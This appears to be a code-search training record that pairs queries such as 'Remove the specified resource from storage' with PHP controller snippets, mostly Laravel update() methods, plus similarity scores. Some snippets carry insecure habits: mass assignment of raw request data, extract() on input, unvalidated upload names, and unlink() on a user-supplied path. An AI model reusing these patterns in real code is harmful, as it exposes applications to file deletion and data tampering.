"public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }",
"public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }",
"public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }",
"public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }",
"public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }",
"public function update($entity)\n {\n \n }",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }",
"public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }",
"public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }",
"public function update($id, $input);",
"public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }",
"public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}",
"public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }",
"public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }",
"public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }",
"public function update($id);",
"public function update($id);",
"private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }",
"public function put($path, $data = null);",
"public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }",
"public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }",
"public function update(Entity $entity);",
"public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }",
"public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}",
"public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }",
"public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }",
"public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }",
"public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }",
"public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }"
]
| [
"0.7425105",
"0.70612276",
"0.70558053",
"0.6896673",
"0.6582159",
"0.64491373",
"0.6346954",
"0.62114537",
"0.6145042",
"0.6119944",
"0.61128503",
"0.6099993",
"0.6087866",
"0.6052593",
"0.6018941",
"0.60060275",
"0.59715486",
"0.5946516",
"0.59400934",
"0.59377414",
"0.5890722",
"0.5860816",
"0.5855127",
"0.5855127",
"0.58513457",
"0.5815068",
"0.5806887",
"0.57525045",
"0.57525045",
"0.57337505",
"0.5723295",
"0.5714311",
"0.5694472",
"0.5691319",
"0.56879413",
"0.5669989",
"0.56565005",
"0.56505877",
"0.5646085",
"0.5636683",
"0.5633498",
"0.5633378",
"0.5632906",
"0.5628826",
"0.56196684",
"0.5609126",
"0.5601397",
"0.55944353",
"0.5582592",
"0.5581908",
"0.55813426",
"0.5575312",
"0.55717176",
"0.55661047",
"0.55624634",
"0.55614686",
"0.55608666",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55599797",
"0.55573726",
"0.5556878",
"0.5554201",
"0.5553069",
"0.55530256",
"0.5543788",
"0.55435944",
"0.55412996",
"0.55393505",
"0.55368495",
"0.5535236",
"0.5534954",
"0.55237365",
"0.5520468",
"0.55163723",
"0.55125296",
"0.5511168",
"0.5508345",
"0.55072427",
"0.5502385",
"0.5502337",
"0.5501029",
"0.54995877",
"0.54979175",
"0.54949397",
"0.54949397",
"0.54946727",
"0.5494196",
"0.54941916",
"0.54925025",
"0.5491807",
"0.5483321",
"0.5479606",
"0.5479408",
"0.5478678",
"0.54667485",
"0.5463411",
"0.5460588",
"0.5458525"
]
| 0.0 | -1 |
Remove the specified resource from storage. | public function destroy($id)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }",
"public function destroy(Resource $resource)\n {\n //\n }",
"public function removeResource($resourceID)\n\t\t{\n\t\t}",
"public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }",
"public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }",
"public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }",
"public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }",
"protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }",
"public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }",
"public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }",
"public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }",
"public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}",
"public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}",
"public function delete(): void\n {\n unlink($this->getPath());\n }",
"public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }",
"public function remove($path);",
"function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}",
"public function delete(): void\n {\n unlink($this->path);\n }",
"private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }",
"public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }",
"public function remove() {}",
"public function remove() {}",
"public function remove();",
"public function remove();",
"public function remove();",
"public function remove();",
"function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}",
"public function deleteImage(){\n\n\n Storage::delete($this->image);\n }",
"public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }",
"public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}",
"public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }",
"public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }",
"public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}",
"public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }",
"public function deleteImage(){\n \tStorage::delete($this->image);\n }",
"public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }",
"public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }",
"public function destroy($id)\n {\n Myfile::find($id)->delete();\n }",
"public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }",
"public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }",
"public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }",
"public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }",
"public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }",
"public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }",
"public function delete($path);",
"public function delete($path);",
"public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }",
"public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }",
"public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }",
"public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }",
"public function delete($path, $data = null);",
"public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }",
"public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }",
"public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }",
"public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }",
"public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }",
"public function del($path){\n\t\treturn $this->remove($path);\n\t}",
"public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }",
"public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}",
"public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }",
"public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }",
"public function revoke($resource, $permission = null);",
"public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }",
"function delete($path);",
"public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}",
"public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }",
"public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }",
"public function remove($filePath){\n return Storage::delete($filePath);\n }",
"public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }",
"public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }",
"public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }",
"public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }",
"function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }",
"public function remove($id);",
"public function remove($id);",
"public function deleted(Storage $storage)\n {\n //\n }",
"public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }",
"public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }",
"public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }",
"public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }",
"function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}",
"public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }",
"public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}",
"public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }",
"public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }"
]
| [
"0.6672584",
"0.6659381",
"0.6635911",
"0.6632799",
"0.6626075",
"0.65424126",
"0.65416265",
"0.64648265",
"0.62882507",
"0.6175931",
"0.6129922",
"0.60893893",
"0.6054415",
"0.60428125",
"0.60064924",
"0.59337646",
"0.5930772",
"0.59199584",
"0.5919811",
"0.5904504",
"0.5897263",
"0.58962846",
"0.58951396",
"0.58951396",
"0.58951396",
"0.58951396",
"0.5880124",
"0.58690923",
"0.5863659",
"0.5809161",
"0.57735413",
"0.5760811",
"0.5753559",
"0.57492644",
"0.5741712",
"0.57334286",
"0.5726379",
"0.57144034",
"0.57096",
"0.5707689",
"0.5705895",
"0.5705634",
"0.5703902",
"0.5696585",
"0.5684331",
"0.5684331",
"0.56780374",
"0.5677111",
"0.5657287",
"0.5648262",
"0.5648085",
"0.5648012",
"0.5640759",
"0.5637738",
"0.5629985",
"0.5619264",
"0.56167465",
"0.5606877",
"0.56021434",
"0.5601949",
"0.55992156",
"0.5598557",
"0.55897516",
"0.5581397",
"0.5566926",
"0.5566796",
"0.55642897",
"0.55641",
"0.5556583",
"0.5556536",
"0.5550097",
"0.5543172",
"0.55422723",
"0.5540013",
"0.5540013",
"0.55371785",
"0.55365825",
"0.55300397",
"0.552969",
"0.55275744",
"0.55272335",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.5525997",
"0.5525624",
"0.5523911",
"0.5521122",
"0.5517412"
]
| 0.0 | -1 |
Set the version number | public function setVersion($version)
{
$this->version = $version;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function setVersion($value){\n $this->version = $value;\n }",
"public function setVersion($version)\n\t{\n\t\t$this->version = (int) $version;\n\t}",
"public function setVersion(string $version);",
"public function setVersion($version) {}",
